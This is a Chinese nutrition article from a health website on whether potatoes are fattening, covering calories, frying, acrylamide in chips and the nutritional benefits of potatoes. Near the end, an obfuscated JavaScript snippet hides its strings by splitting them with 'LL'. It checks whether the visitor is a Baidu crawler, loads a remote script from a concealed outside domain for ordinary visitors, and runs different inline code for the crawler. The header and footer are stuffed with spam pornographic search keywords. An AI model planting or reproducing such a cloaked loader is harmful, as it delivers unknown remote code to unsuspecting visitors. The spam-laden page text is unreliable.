久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 健康飲食 > 正文

土豆到底是減肥食品還是致胖食品?

2015-06-18 09:23:04  來源:360常識網   熱度:
導語:土豆高溫加熱之后,特別容易形成丙烯酰胺類有毒物質,所以炸薯片是這種毒物含量最高的食品,炸薯條也有這種麻煩。所以,土豆類脆片、油炸片

土豆高溫加熱之后,特別容易形成“丙烯酰胺”類有毒物質,所以炸薯片是這種毒物含量最高的食品,炸薯條也有這種麻煩。所以,土豆類脆片、油炸片、薯條之類零食都要格外小心,每天不要超過25克。

土豆到底是減肥食品還是致胖食品?
土豆到底是減肥食品還是致胖食品?

土豆到底是減肥食品還是致胖食品?

真相是這樣的。土豆是蔬菜中熱量最高的一種,因為其中含有淀粉。但是,它的含水量高達76%以上,真正的淀粉含量不到20%,其中還含有能夠產生“飽腹感”的“膳食纖維”,所以用它們來代替主食具有減肥效果。

為什么土豆被許多人看成令人發胖的食品呢?

1、是因為人們烹調不當,把好端端的土豆做成炸薯條、炸薯片。做過“土豆燒肉”的人都知道,馬鈴薯的吸油能力很強。據測定,一只中等大小的不放油的“法國烤土豆”僅含約90千卡熱量,而同一個土豆做成炸薯條后所含的熱能達200千卡以上。可見,令人發胖的不是土豆本身,而是它吸收的油脂。

2、是因為人們沒有用土豆來代替主食,而是把它當成菜肴。土豆中所含的熱量比主食少,卻比一般蔬菜多。如果用土豆當菜,便應適當地減少主食的數量。若不減主食,結果便是——吃土豆菜比吃青菜容易發胖。

從營養價值角度來說,土豆是一種極好的主食。

首先,它的鉀、鎂含量高于精白米和精白面粉,是一種成堿性食品。而所有的精白米面都讓人體質偏酸。其次,土豆的蛋白質質量高。雖然蛋白質的含量只有2%,但是其中富含賴氨酸,只要吃的數量足夠地多,就可以讓人獲得身體所需的各種氨基酸。第三,土豆含有維生素C,這可是精米白面所沒有的好東西。第四,土豆含有膳食纖維,而精米白面纖維很少。土豆的纖維質地柔軟,不會刺激腸胃,各種人都可以吃。胃潰瘍或腸炎的人也可以放心地吃土豆。

從食品安全的角度來說,土豆不是一種好的零食。

原來,土豆高溫加熱之后,特別容易形成“丙烯酰胺”類有毒物質,所以炸薯片是這種毒物含量最高的食品,炸薯條也有這種麻煩。所以,土豆類脆片、油炸片、薯條之類零食都要格外小心,每天不要超過25克。

幸好,家常蒸煮燉炒的加熱溫度不超過120度,所以不會產生任何有害物質。所以燉土豆、炒土豆、蒸土豆等都可以放心食用,只是要注意,吃了它們,就要相應減少主食了。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日韩欧美视频 | 天天艹视频 | 成人看的免费视频 | 成人黄色在线观看 | 国产高潮在线观看 | 午夜视频在线观看网站 | 久久99精品久久久久久国产越南 | 欧美一区二区三区四区在线观看 | 免费视频99 | 亚洲成人免费 | 国产高清在线 | 一区二区三 | 久久国产精品无码网站 | 久久一级 | 精品久久久久久久久久久久久久 | 欧美日韩国产成人 | 国产精品久久久久久久午夜片 | 麻豆精品 | 国产精品久久久久久亚洲调教 | 国产精品99| 99久久99| 久久成人在线视频 | 99精品电影| 国产精品日本一区二区不卡视频 | 久久草视频 | 久操视频在线观看 | 啊v视频| 亚洲视频一区在线 | 日韩精品一区二区三区视频播放 | 日本精品视频在线观看 | 91资源在线观看 | 日韩综合网 | 精产国产伦理一二三区 | 久久av一区二区三区 | 欧美一区二区三区在线看 | 美女精品视频在线 | 国产一区二区三区高清 | 黄色成人在线播放 | 狠狠爱www人成狠狠爱综合网 | 国产91 在线播放 | 激情六月综合 |